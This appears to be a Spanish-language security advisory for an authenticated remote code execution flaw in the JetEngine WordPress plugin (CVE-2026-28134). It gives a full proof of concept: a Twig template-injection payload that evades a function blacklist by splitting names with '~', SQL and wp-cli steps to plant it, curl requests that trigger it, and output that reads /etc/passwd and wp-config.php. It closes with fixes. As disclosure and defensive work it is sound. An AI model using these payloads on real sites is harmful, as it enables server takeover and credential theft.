
JetEngine <= 3.7.2 - Ejecución Remota de Código Autenticada (Contributor+)
Fecha: 11 de marzo de 2026 Puntuación CVSS: 8.8 (Alta) Vector CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H Plugin afectado: JetEngine <= 3.7.2 Slug del plugin: jet-engine CVE: CVE-2026-28134 Estado: Privado Versión de WordPress probada: Última
CVE-2026-28134 es una vulnerabilidad de Ejecución Remota de Código en el plugin de WordPress JetEngine que afecta a todas las versiones hasta la 3.7.2 inclusive. La vulnerabilidad permite a atacantes autenticados con acceso de nivel Colaborador o superior ejecutar comandos arbitrarios del sistema operativo en el servidor inyectando una plantilla Twig maliciosa en una entrada Listing de JetEngine.
La cadena de ataque combina tres debilidades:
~ de Twig para dividir nombres de funciones bloqueados entre tokens.✅ VULNERABILIDAD CONFIRMADA — RCE completo logrado
Impacto confirmado:
www-data/etc/passwd, wp-config.php)JetEngine proporciona un tipo de vista Listing basado en Twig/Timber. Cuando el componente timber_views está habilitado, las entradas Listing con _listing_type = twig tienen su meta de entrada _jet_engine_listing_html renderizada como una plantilla Twig en vivo mediante Timber. La canalización de renderizado es accesible a través de la acción AJAX no autenticada wp_ajax_nopriv_jet_engine_ajax, requiriendo únicamente que el atacante pueda crear o modificar una entrada Listing de JetEngine (mínimo rol Colaborador).
ajax-handlers.php registra la acción AJAX tanto para usuarios autenticados como no autenticados:
// ajax-handlers.php:29
add_action( 'wp_ajax_jet_engine_ajax', array( $this, 'handle_ajax' ) );
add_action( 'wp_ajax_nopriv_jet_engine_ajax', array( $this, 'handle_ajax' ) );
El manejador despacha a cualquier método público de la clase basándose en $_REQUEST['handler'] sin comprobación de nonce ni de permisos:
// ajax-handlers.php:96-104
public function handle_ajax() {
if ( ! isset( $_REQUEST['handler'] ) || ! is_callable( array( $this, $_REQUEST['handler'] ) ) ) {
return;
}
if ( ! empty( $_REQUEST['page_settings'] ) ) {
foreach ( $_REQUEST['page_settings'] as $key => $value ) {
$_REQUEST[ $key ] = $value;
}
}
call_user_func( array( $this, $_REQUEST['handler'] ) );
}
Llamar a listing_load_more es accesible públicamente y desencadena la canalización de renderizado de Listing.
La cadena de llamadas listing_load_more → get_listing → frontend->get_listing_item llega a:
// frontend.php:302
$content = apply_filters( 'jet-engine/listing/content/' . $listing_view, null, $listing_id );
Cuando $listing_view = 'twig', esto dispara Jet_Engine\Timber_Views\Render::get_listing_content(), que lee la plantilla Twig del campo meta _jet_engine_listing_html de la entrada y la pasa directamente a render_html():
// timber.php:150
$template = $twig->createTemplate(
$this->sanitize_html(
do_shortcode( $this->sanitize_twig_content( $html ) )
)
);
return $template->render( $context );
Twig renderiza sin sandbox. La única protección es sanitize_twig_content().
sanitize_twig_content() elimina nombres de funciones PHP peligrosos mediante patrones regex de límite de palabra y luego comprueba si la plantilla fue modificada:
// timber.php:256-262
$dangerous_funcs = [
'passthru', 'exec', 'eval', 'system', 'shell_exec', 'proc_open', 'popen',
'assert', 'file_put_contents', 'file_get_contents', 'unlink', 'fopen', 'fwrite'
];
foreach ( $dangerous_funcs as $func ) {
$input = preg_replace( '/\b' . preg_quote( $func, '/' ) . '\b/i', '', $input );
}
El patrón \bsystem\b coincide con el token literal system. No coincide con "sys" ~ "tem" porque son dos tokens de cadena entre comillas separados. Twig evalúa la concatenación en tiempo de renderizado, produciendo "system" solo en memoria — la plantilla fuente nunca contiene la palabra bloqueada.
Payload de evasión:
{{ fn("sys" ~ "tem", "id") }}
El sanitizador ve fn, "sys", ~, "tem", "id" — ninguno está en la lista negra. Pasa sin cambios.
fn() de TimberTimber registra envoltorios invocables de PHP directamente en el entorno de Twig:
// timber-library/lib/Twig.php:42-43
$twig->addFunction( new Twig_Function( 'function', array( &$this, 'exec_function' ) ) );
$twig->addFunction( new Twig_Function( 'fn', array( &$this, 'exec_function' ) ) );
// timber-library/lib/Twig.php:290-297
public function exec_function( $function_name ) {
$args = func_get_args();
array_shift( $args );
if ( is_string( $function_name ) ) {
$function_name = trim( $function_name );
}
return call_user_func_array( $function_name, ( $args ) );
}
{{ fn("sys" ~ "tem", "id") }} se resuelve a call_user_func_array("system", ["id"]) — ejecución de comandos arbitrarios del sistema operativo.
timber_views de JetEngine está habilitado (Ajustes de JetEngine > Rendimiento > Vistas Timber/Twig).Cree una entrada Listing de JetEngine con la plantilla Twig maliciosa almacenada en la meta de la entrada:
-- Set listing type to twig
UPDATE wp_postmeta SET meta_value = 'twig'
WHERE post_id = <LISTING_ID> AND meta_key = '_listing_type';
-- Inject SSTI payload (sanitizer bypass via ~ concatenation)
UPDATE wp_postmeta SET meta_value = '{{ fn("sys" ~ "tem", "id") }}'
WHERE post_id = <LISTING_ID> AND meta_key = '_jet_engine_listing_html';
-- Set listing source
UPDATE wp_postmeta SET meta_value = '{"listing_source":"posts","post_type":"post"}'
WHERE post_id = <LISTING_ID> AND meta_key = '_jet_engine_listing_data';
O mediante wp-cli (como el usuario Colaborador):
wp post meta update <LISTING_ID> _listing_type twig
wp post meta update <LISTING_ID> _jet_engine_listing_html '{{ fn("sys" ~ "tem", "id") }}'
curl -s -X POST 'http://TARGET/wp-admin/admin-ajax.php' \
-d 'action=jet_engine_ajax' \
-d 'handler=listing_load_more' \
-d 'widget_settings[lisitng_id]=<LISTING_ID>' \
-d 'widget_settings[columns]=1' \
-d 'query[post_type]=post' \
-d 'query[posts_per_page]=1' \
-d 'query[paged]=1' \
-d 'page_settings[page_id]=1'
{
"success": true,
"data": {
"html": "<div class=\"jet-listing-grid__item jet-listing-dynamic-post-6\" data-post-id=\"6\">uid=33(www-data) gid=33(www-data) groups=33(www-data)\n</div>"
}
}
Cadena bloqueada passthru dividida como "pas" ~ "sthru":
curl -s -X POST 'http://TARGET/wp-admin/admin-ajax.php' \
-d 'action=jet_engine_ajax' \
-d 'handler=listing_load_more' \
-d 'widget_settings[lisitng_id]=<LISTING_ID>' \
-d 'widget_settings[columns]=1' \
-d 'query[post_type]=post' \
-d 'query[posts_per_page]=1' \
-d 'query[paged]=1' \
-d 'page_settings[page_id]=1'
Plantilla configurada como {{ fn("pas" ~ "sthru", "cat /etc/passwd") }}:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
Plantilla {{ fn("pas" ~ "sthru", "grep DB_ /var/www/html/wp-config.php") }}:
define( 'DB_USER', getenv_docker('WORDPRESS_DB_USER', ...) );
define( 'DB_PASSWORD', getenv_docker('WORDPRESS_DB_PASSWORD', ...) );
define( 'DB_HOST', getenv_docker('WORDPRESS_DB_HOST', ...) );
wp_ajax_nopriv_jet_engine_ajax se dispara para solicitudes no autenticadas. El despachador handle_ajax() no realiza verificación de nonce ni comprobación de permisos antes de invocar listing_load_more. Por lo tanto, la canalización de renderizado es accesible por cualquier usuario no autenticado una vez que existe una listing maliciosa.
La extensión oficial de sandbox de Twig (\Twig\Sandbox\SecurityPolicy) aplica listas permitidas a nivel del motor — es imposible llamar a funciones no permitidas explícitamente. JetEngine usa createTemplate() sin sandbox. La única protección es un escaneo de cadenas previo al renderizado, que se evade fácilmente.
El enfoque de lista negra (/\bsystem\b/i) opera sobre el texto fuente estático de la plantilla. El operador de concatenación ~ de Twig construye cadenas en tiempo de ejecución. Cualquier nombre bloqueado puede dividirse: "pass" ~ "thru", "she" ~ "ll_exec", "sys" ~ "tem", etc. Un sandbox adecuado rechazaría la llamada independientemente de cómo se haya construido el nombre de la función.
call_user_func_arrayLos helpers de Twig fn() y function() de Timber son puentes incondicionales a call_user_func_array de PHP. No hay una lista permitida de funciones invocables. Cualquier función PHP accesible desde el proceso web puede ser invocada.
| Fecha | Evento |
|---|---|
| 2026-03-11 | Vulnerabilidad descubierta y confirmada con PoC de RCE completo |
| 2026-03-11 | Informe redactado |
| Archivo | Problema |
|---|
includes/components/listings/ajax-handlers.php:29 | wp_ajax_nopriv_jet_engine_ajax registrado — sin autenticación ni nonce |
includes/components/listings/ajax-handlers.php:104 | call_user_func(array($this, $_REQUEST['handler'])) — despacho de métodos públicos arbitrarios |
includes/components/timber-views/timber.php:150 | render_html() renderiza la plantilla Twig controlada por el atacante sin sandbox |
includes/components/timber-views/timber.php:189 | sanitize_twig_content() — lista negra de regex de cadenas, evadida mediante división de tokens |
timber-library/lib/Twig.php:42-43 | Timber registra fn()/function() como envoltorios Twig para call_user_func_array |
| Corrección | Descripción |
|---|
Añadir comprobación de nonce y permisos a handle_ajax() | Exigir la capacidad edit_posts y un nonce válido para todos los despachos AJAX |
| Habilitar el sandbox de Twig | Reemplazar la lista negra de cadenas por \Twig\Sandbox\SecurityPolicy — permitir explícitamente funciones y propiedades seguras |
Restringir el helper fn() de Timber | Permitir solo nombres de funciones invocables o eliminar fn()/function() del entorno de Twig para plantillas no confiables |
| Validar la propiedad de la listing | Confirmar que el usuario solicitante tiene la capacidad edit_post sobre la listing antes de renderizar su plantilla |